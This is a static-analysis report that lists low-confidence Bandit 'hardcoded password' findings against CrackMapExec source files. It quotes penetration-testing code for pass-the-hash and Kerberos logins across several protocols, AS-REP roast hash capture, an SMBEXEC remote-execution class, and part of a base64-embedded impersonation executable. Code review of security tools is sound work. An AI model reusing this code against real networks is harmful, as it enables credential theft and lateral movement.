315 316 def kerberos_login( 317 self, 318 domain, 319 username, 320 password="", 321 ntlm_hash="", 322 aesKey="", 323 kdcHost="", 324 useCache=False, 325 ): 326 # cme_logger.getLogger("impacket").disabled = True 327 self.username = username 328 self.password = password 329 self.domain = domain 330 self.kdcHost = kdcHost 331 self.aesKey = aesKey 332 333 lmhash = "" 334 nthash = "" 335 self.username = username 336 # This checks to see if we didn't provide the LM Hash 337 if ntlm_hash.find(":") != -1: 338 lmhash, nthash = ntlm_hash.split(":") 339 self.hash = nthash 340 else: 341 nthash = ntlm_hash 342 self.hash = ntlm_hash 343 if lmhash: 344 self.lmhash = lmhash 345 if nthash: 346 self.nthash = nthash 347 348 if self.password == "" and self.args.asreproast: 349 hash_tgt = KerberosAttacks(self).getTGT_asroast(self.username) 350 if hash_tgt: 351 self.logger.highlight(f"{hash_tgt}") 352 with open(self.args.asreproast, "a+") as hash_asreproast: 353 hash_asreproast.write(hash_tgt + "\n") 354 return False 355 356 if not all("" == s for s in [self.nthash, password, aesKey]): 357 kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) 358 else: 359 kerb_pass = "" 360 361 try: 362 # Connect to LDAP 363 proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap" 364 ldap_url = f"{proto}://{self.target}" 365 self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} [1]") 366 self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN) 367 self.ldapConnection.kerberosLogin( 368 username, 369 password, 370 domain, 371 self.lmhash, 372 self.nthash, 373 aesKey, 374 kdcHost=kdcHost, 375 useCache=useCache, 376 ) 377 378 if self.username == "": 379 self.username = self.get_ldap_username() 380 381 self.check_if_admin() 382 383 used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" 384 out = f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}" 385 386 # out = f"{domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')}" 387 388 self.logger.extra["protocol"] = "LDAP" 389 self.logger.extra["port"] = "636" if (self.args.gmsa or self.args.port == 636) else "389" 390 self.logger.success(out) 391 392 if not self.args.local_auth: 393 add_user_bh(self.username, self.domain, self.logger, self.config) 394 return True 395 except SessionKeyDecryptionError: 396 # for PRE-AUTH account 397 self.logger.success( 398 f"{domain}\\{self.username}{' account vulnerable to asreproast attack'} {''}", 399 color="yellow", 400 ) 401 return False 402 except SessionError as e: 403 error, desc = e.getErrorString() 404 used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" 405 self.logger.fail( 406 f"{self.domain}\\{self.username}{used_ccache} {str(error)}", 407 color="magenta" if error in ldap_error_status else "red", 408 ) 409 return False 410 except (KeyError, KerberosException, OSError) as e: 411 self.logger.fail( 412 f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {str(e)}", 413 color="red", 414 ) 415 return False 416 except ldap_impacket.LDAPSessionError as e: 417 if str(e).find("strongerAuthRequired") >= 0: 418 # We need to try SSL 419 try: 420 # Connect to LDAPS 421 ldaps_url = f"ldaps://{self.target}" 422 self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [2]") 423 self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN) 424 self.ldapConnection.kerberosLogin( 425 username, 426 password, 427 domain, 428 self.lmhash, 429 self.nthash, 430 aesKey, 431 kdcHost=kdcHost, 432 useCache=useCache, 433 ) 434 435 if self.username == "": 436 self.username = self.get_ldap_username() 437 438 self.check_if_admin() 439 440 # Prepare success credential text 441 out = f"{domain}\\{self.username} {self.mark_pwned()}" 442 443 self.logger.extra["protocol"] = "LDAPS" 444 self.logger.extra["port"] = "636" 445 self.logger.success(out) 446 447 if not self.args.local_auth: 448 add_user_bh(self.username, self.domain, self.logger, self.config) 449 return True 450 except SessionError as e: 451 error, desc = e.getErrorString() 452 self.logger.fail( 453 f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {str(error)}", 454 color="magenta" if error in ldap_error_status else "red", 455 ) 456 return False 457 except: 458 error_code = str(e).split()[-2][:-1] 459 self.logger.fail( 460 f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", 461 color="magenta" if error_code in ldap_error_status else "red", 462 ) 463 return False 464 else: 465 error_code = str(e).split()[-2][:-1] 466 self.logger.fail( 467 f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", 468 color="magenta" if error_code in ldap_error_status else "red", 469 ) 470 return False 471 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/wmi.py line 199
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
198 199 def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): 200 logging.getLogger("impacket").disabled = True 201 lmhash = '' 202 nthash = '' 203 self.password = password 204 self.username = username 205 self.domain = domain 206 self.remoteName = self.fqdn 207 self.create_conn_obj() 208 209 if password == "": 210 if ntlm_hash.find(':') != -1: 211 lmhash, nthash = ntlm_hash.split(':') 212 else: 213 nthash = ntlm_hash 214 self.nthash = nthash 215 self.lmhash = lmhash 216 217 if not all("" == s for s in [nthash, password, aesKey]): 218 kerb_pass = next(s for s in [nthash, password, aesKey] if s) 219 else: 220 kerb_pass = "" 221 222 if useCache: 223 if kerb_pass == "": 224 ccache = CCache.loadFile(os.getenv("KRB5CCNAME")) 225 username = ccache.credentials[0].header['client'].prettyPrint().decode().split("@")[0] 226 self.username = username 227 228 used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" 229 try: 230 self.conn.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, aesKey=self.aesKey) 231 self.conn.set_kerberos(True, kdcHost) 232 dce = self.conn.get_dce_rpc() 233 dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) 234 dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) 235 dce.connect() 236 dce.bind(MSRPC_UUID_PORTMAP) 237 except Exception as e: 238 dce.disconnect() 239 error_msg = str(e).lower() 240 self.logger.debug(error_msg) 241 if "unpack requires a buffer of 4 bytes" in error_msg: 242 error_msg = "Kerberos authentication failure" 243 out = f"{self.domain}\\{self.username}{used_ccache} {error_msg}" 244 self.logger.fail(out) 245 elif "kerberos sessionerror" in str(e).lower(): 246 out = f"{self.domain}\\{self.username}{used_ccache} {list(e.getErrorString())[0]}" 247 self.logger.fail(out, color="magenta") 248 return False 249 else: 250 out = f"{self.domain}\\{self.username}{used_ccache} {str(e)}" 251 self.logger.fail(out, color="red") 252 return False 253 else: 254 try: 255 # Get data from rpc connection if got vaild creds 256 entry_handle = epm.ept_lookup_handle_t() 257 request = epm.ept_lookup() 258 request['inquiry_type'] = 0x0 259 request['object'] = NULL 260 request['Ifid'] = NULL 261 request['vers_option'] = 0x1 262 request['entry_handle'] = entry_handle 263 request['max_ents'] = 1 264 resp = dce.request(request) 265 except Exception as e: 266 dce.disconnect() 267 error_msg = str(e).lower() 268 self.logger.debug(error_msg) 269 for code in self.rpc_error_status.keys(): 270 if code in error_msg: 271 error_msg = self.rpc_error_status[code] 272 out = f"{self.domain}\\{self.username}{used_ccache} {error_msg.upper()}" 273 self.logger.fail(out, color=("red" if "access_denied" in error_msg else "magenta")) 274 return False 275 else: 276 self.doKerberos = True 277 self.check_if_admin() 278 dce.disconnect() 279 out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}" 280 self.logger.success(out) 281 return True 282 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/smbexec.py line 13
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
12 class SMBEXEC: 13 def __init__( 14 self, 15 host, 16 share_name, 17 smbconnection, 18 protocol, 19 username="", 20 password="", 21 domain="", 22 doKerberos=False, 23 aesKey=None, 24 kdcHost=None, 25 hashes=None, 26 share=None, 27 port=445, 28 logger=None, 29 tries=None 30 ): 31 self.__host = host 32 self.__share_name = "C$" 33 self.__port = port 34 self.__username = username 35 self.__password = password 36 self.__serviceName = gen_random_string() 37 self.__domain = domain 38 self.__lmhash = "" 39 self.__nthash = "" 40 self.__share = share 41 self.__smbconnection = smbconnection 42 self.__output = None 43 self.__batchFile = None 44 self.__outputBuffer = b"" 45 self.__shell = "%COMSPEC% /Q /c " 46 self.__retOutput = False 47 self.__rpctransport = None 48 self.__scmr = None 49 self.__conn = None 50 # self.__mode = mode 51 self.__aesKey = aesKey 52 self.__doKerberos = doKerberos 53 self.__kdcHost = kdcHost 54 self.__tries = tries 55 self.logger = logger 56 57 if hashes is not None: 58 # This checks to see if we didn't provide the LM Hash 59 if hashes.find(":") != -1: 60 self.__lmhash, self.__nthash = hashes.split(":") 61 else: 62 self.__nthash = hashes 63 64 if self.__password is None: 65 self.__password = "" 66 67 stringbinding = "ncacn_np:%s[\pipe\svcctl]" % self.__host 68 self.logger.debug("StringBinding %s" % stringbinding) 69 self.__rpctransport = transport.DCERPCTransportFactory(stringbinding) 70 self.__rpctransport.set_dport(self.__port) 71 72 if hasattr(self.__rpctransport, "setRemoteHost"): 73 self.__rpctransport.setRemoteHost(self.__host) 74 if hasattr(self.__rpctransport, "set_credentials"): 75 # This method exists only for selected protocol sequences. 76 self.__rpctransport.set_credentials( 77 self.__username, 78 self.__password, 79 self.__domain, 80 self.__lmhash, 81 self.__nthash, 82 self.__aesKey, 83 ) 84 self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) 85 86 self.__scmr = self.__rpctransport.get_dce_rpc() 87 if self.__doKerberos: 88 self.__scmr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) 89 self.__scmr.connect() 90 s = self.__rpctransport.get_smb_connection() 91 # We don't wanna deal with timeouts from now on. 92 s.setTimeout(100000) 93 94 self.__scmr.bind(scmr.MSRPC_UUID_SCMR) 95 resp = scmr.hROpenSCManagerW(self.__scmr) 96 self.__scHandle = resp["lpScHandle"] 97 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/samrfunc.py line 207
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
206 class LSAQuery: 207 def __init__( 208 self, 209 username="", 210 password="", 211 domain="", 212 port=445, 213 remote_name="", 214 remote_host="", 215 aesKey="", 216 kerberos=None, 217 logger=None 218 ): 219 self.__username = username 220 self.__password = password 221 self.__domain = domain 222 self.__lmhash = "" 223 self.__nthash = "" 224 self.__aesKey = aesKey 225 self.__port = port 226 self.__remote_name = remote_name 227 self.__remote_host = remote_host 228 self.__kerberos = kerberos 229 self.dce = self.get_dce() 230 self.policy_handle = self.get_policy_handle() 231 self.logger = logger 232 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/samrfunc.py line 105
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
104 class SAMRQuery: 105 def __init__( 106 self, 107 username="", 108 password="", 109 domain="", 110 port=445, 111 remote_name="", 112 remote_host="", 113 kerberos=None, 114 aesKey="", 115 ): 116 self.__username = username 117 self.__password = password 118 self.__domain = domain 119 self.__lmhash = "" 120 self.__nthash = "" 121 self.__aesKey = aesKey 122 self.__port = port 123 self.__remote_name = remote_name 124 self.__remote_host = remote_host 125 self.__kerberos = kerberos 126 self.dce = self.get_dce() 127 self.server_handle = self.get_server_handle() 128 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb.py line 372
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
371 372 def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): 373 logging.getLogger("impacket").disabled = True 374 # Re-connect since we logged off 375 if not self.no_ntlm: 376 fqdn_host = f"{self.hostname}.{self.domain}" 377 else: 378 fqdn_host = f"{self.host}" 379 self.create_conn_obj(fqdn_host) 380 lmhash = "" 381 nthash = "" 382 383 try: 384 if not self.args.laps: 385 self.password = password 386 self.username = username 387 # This checks to see if we didn't provide the LM Hash 388 if ntlm_hash.find(":") != -1: 389 lmhash, nthash = ntlm_hash.split(":") 390 self.hash = nthash 391 else: 392 nthash = ntlm_hash 393 self.hash = ntlm_hash 394 if lmhash: 395 self.lmhash = lmhash 396 if nthash: 397 self.nthash = nthash 398 399 if not all("" == s for s in [self.nthash, password, aesKey]): 400 kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) 401 else: 402 kerb_pass = "" 403 self.logger.debug(f"Attempting to do Kerberos Login with useCache: {useCache}") 404 405 self.conn.kerberosLogin( username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache) 406 self.check_if_admin() 407 408 if username == "": 409 self.username = self.conn.getCredentials()[0] 410 else: 411 self.username = username 412 413 used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" 414 else: 415 self.plaintext_login(self.hostname, username, password) 416 return True 417 418 out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}" 419 self.logger.success(out) 420 if not self.args.local_auth: 421 add_user_bh(self.username, domain, self.logger, self.config) 422 423 # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 424 if self.args.continue_on_success and self.signing: 425 try: 426 self.conn.logoff() 427 except: 428 pass 429 self.create_conn_obj() 430 431 return True 432 except SessionKeyDecryptionError: 433 # success for now, since it's a vulnerability - previously was an error 434 self.logger.success( 435 f"{domain}\\{self.username} account vulnerable to asreproast attack", 436 color="yellow", 437 ) 438 return False 439 except (FileNotFoundError, KerberosException) as e: 440 self.logger.fail(f"CCache Error: {e}") 441 return False 442 except OSError as e: 443 used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" 444 self.logger.fail(f"{domain}\\{self.username}{used_ccache} {e}") 445 except (SessionError, Exception) as e: 446 error, desc = e.getErrorString() 447 used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" 448 self.logger.fail( 449 f"{domain}\\{self.username}{used_ccache} {error} {f'({desc})' if self.args.verbose else ''}", 450 color="magenta" if error in smb_error_status else "red", 451 ) 452 if error not in smb_error_status: 453 self.inc_failed_login(username) 454 return False 455 return False 456 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/rdp.py line 186
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
185 186 def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): 187 try: 188 lmhash = "" 189 nthash = "" 190 # This checks to see if we didn't provide the LM Hash 191 if ntlm_hash.find(":") != -1: 192 lmhash, nthash = ntlm_hash.split(":") 193 self.hash = nthash 194 else: 195 nthash = ntlm_hash 196 self.hash = ntlm_hash 197 if lmhash: 198 self.lmhash = lmhash 199 if nthash: 200 self.nthash = nthash 201 202 if not all("" == s for s in [nthash, password, aesKey]): 203 kerb_pass = next(s for s in [nthash, password, aesKey] if s) 204 else: 205 kerb_pass = "" 206 207 fqdn_host = self.hostname + "." + self.domain 208 password = password if password else nthash 209 210 if useCache: 211 stype = asyauthSecret.CCACHE 212 if not password: 213 password = getenv("KRB5CCNAME") if not password else password 214 if "/" in password: 215 self.logger.fail("Kerberos ticket need to be on the local directory") 216 return False 217 ccache = CCache.loadFile(getenv("KRB5CCNAME")) 218 ticketCreds = ccache.credentials[0] 219 username = ticketCreds["client"].prettyPrint().decode().split("@")[0] 220 else: 221 stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT 222 223 kerberos_target = UniTarget( 224 self.domain, 225 88, 226 UniProto.CLIENT_TCP, 227 proxies=None, 228 dns=None, 229 dc_ip=self.domain, 230 domain=self.domain 231 ) 232 self.auth = KerberosCredential( 233 target=kerberos_target, 234 secret=password, 235 username=username, 236 domain=domain, 237 stype=stype, 238 ) 239 self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) 240 asyncio.run(self.connect_rdp()) 241 242 self.admin_privs = True 243 self.logger.success( 244 "{}\\{}{} {}".format( 245 domain, 246 username, 247 ( 248 # Show what was used between cleartext, nthash, aesKey and ccache 249 " from ccache" 250 if useCache 251 else ":%s" % (process_secret(kerb_pass)) 252 ), 253 self.mark_pwned(), 254 ) 255 ) 256 if not self.args.local_auth: 257 add_user_bh(username, domain, self.logger, self.config) 258 return True 259 260 except Exception as e: 261 if "KDC_ERR" in str(e): 262 reason = None 263 for word in self.rdp_error_status.keys(): 264 if word in str(e): 265 reason = self.rdp_error_status[word] 266 self.logger.fail( 267 (f"{domain}\\{username}{' from ccache' if useCache else ':%s' % (process_secret(kerb_pass))} {f'({reason})' if reason else str(e)}"), 268 color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else "red"), 269 ) 270 elif "Authentication failed!" in str(e): 271 self.logger.success(f"{domain}\\{username}:{(process_secret(password))} {self.mark_pwned()}") 272 elif "No such file" in str(e): 273 self.logger.fail(e) 274 else: 275 reason = None 276 for word in self.rdp_error_status.keys(): 277 if word in str(e): 278 reason = self.rdp_error_status[word] 279 if "cannot unpack non-iterable NoneType object" == str(e): 280 reason = "User valid but cannot connect" 281 self.logger.fail( 282 (f"{domain}\\{username}{' from ccache' if useCache else ':%s' % (process_secret(kerb_pass))} {f'({reason})' if reason else ''}"), 283 color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), 284 ) 285 return False 286 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/mssql.py line 146
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
145 146 def kerberos_login( 147 self, 148 domain, 149 username, 150 password="", 151 ntlm_hash="", 152 aesKey="", 153 kdcHost="", 154 useCache=False, 155 ): 156 try: 157 self.conn.disconnect() 158 except: 159 pass 160 self.create_conn_obj() 161 162 nthash = "" 163 hashes = None 164 if ntlm_hash != "": 165 if ntlm_hash.find(":") != -1: 166 hashes = ntlm_hash 167 nthash = ntlm_hash.split(":")[1] 168 else: 169 # only nt hash 170 hashes = f":{ntlm_hash}" 171 nthash = ntlm_hash 172 173 if not all("" == s for s in [self.nthash, password, aesKey]): 174 kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) 175 else: 176 kerb_pass = "" 177 try: 178 res = self.conn.kerberosLogin( 179 None, 180 username, 181 password, 182 domain, 183 hashes, 184 aesKey, 185 kdcHost=kdcHost, 186 useCache=useCache, 187 ) 188 if res is not True: 189 self.conn.printReplies() 190 return False 191 192 self.password = password 193 if username == "" and useCache: 194 ccache = CCache.loadFile(os.getenv("KRB5CCNAME")) 195 principal = ccache.principal.toPrincipal() 196 self.username = principal.components[0] 197 username = principal.components[0] 198 else: 199 self.username = username 200 self.domain = domain 201 self.check_if_admin() 202 203 used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" 204 domain = f"{domain}\\" if not self.args.local_auth else "" 205 206 self.logger.success(f"{domain}{username}{used_ccache} {self.mark_pwned()}") 207 if not self.args.local_auth: 208 add_user_bh(self.username, self.domain, self.logger, self.config) 209 return True 210 except Exception as e: 211 used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" 212 domain = f"{domain}\\" if not self.args.local_auth else "" 213 self.logger.fail(f"{domain}\\{username}{used_ccache} {e}") 214 return False 215 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/ldap/laps.py line 40
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
39 40 def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): 41 lmhash = "" 42 nthash = "" 43 44 if kdcHost is None: 45 kdcHost = domain 46 47 # This checks to see if we didn't provide the LM Hash 48 if ntlm_hash and ntlm_hash.find(":") != -1: 49 lmhash, nthash = ntlm_hash.split(":") 50 elif ntlm_hash: 51 nthash = ntlm_hash 52 53 # Create the baseDN 54 baseDN = "" 55 domainParts = domain.split(".") 56 for i in domainParts: 57 baseDN += f"dc={i}," 58 # Remove last ',' 59 baseDN = baseDN[:-1] 60 61 try: 62 ldapConnection = ldap_impacket.LDAPConnection(f"ldap://{kdcHost}", baseDN) 63 ldapConnection.kerberosLogin( 64 username, 65 password, 66 domain, 67 lmhash, 68 nthash, 69 aesKey, 70 kdcHost=kdcHost, 71 useCache=False, 72 ) 73 # Connect to LDAP 74 out = f"{domain}{username}:{password if password else ntlm_hash}" 75 self.logger.extra["protocol"] = "LDAP" 76 self.logger.extra["port"] = "389" 77 return ldapConnection 78 except ldap_impacket.LDAPSessionError as e: 79 if str(e).find("strongerAuthRequired") >= 0: 80 # We need to try SSL 81 try: 82 ldapConnection = ldap_impacket.LDAPConnection(f"ldaps://{kdcHost}", baseDN) 83 ldapConnection.login( 84 username, 85 password, 86 domain, 87 lmhash, 88 nthash, 89 aesKey, 90 kdcHost=kdcHost, 91 useCache=False, 92 ) 93 self.logger.extra["protocol"] = "LDAPS" 94 self.logger.extra["port"] = "636" 95 # self.logger.success(out) 96 return ldapConnection 97 except ldap_impacket.LDAPSessionError as e: 98 errorCode = str(e).split()[-2][:-1] 99 self.logger.fail( 100 f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}", 101 color="magenta" if errorCode in ldap_error_status else "red", 102 ) 103 else: 104 errorCode = str(e).split()[-2][:-1] 105 self.logger.fail( 106 f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}", 107 color="magenta" if errorCode in ldap_error_status else "red", 108 ) 109 return False 110 111 except OSError as e: 112 self.logger.debug(f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}") 113 return False 114 except KerberosError as e: 115 self.logger.fail( 116 f"{domain}\\{username}:{password if password else ntlm_hash} {str(e)}", 117 color="red", 118 ) 119 return False 120 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/impersonate.py line 30
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
29 self.useembeded = True 30 self.token = self.cmd = "" 31 self.impersonate_embedded = b64decode("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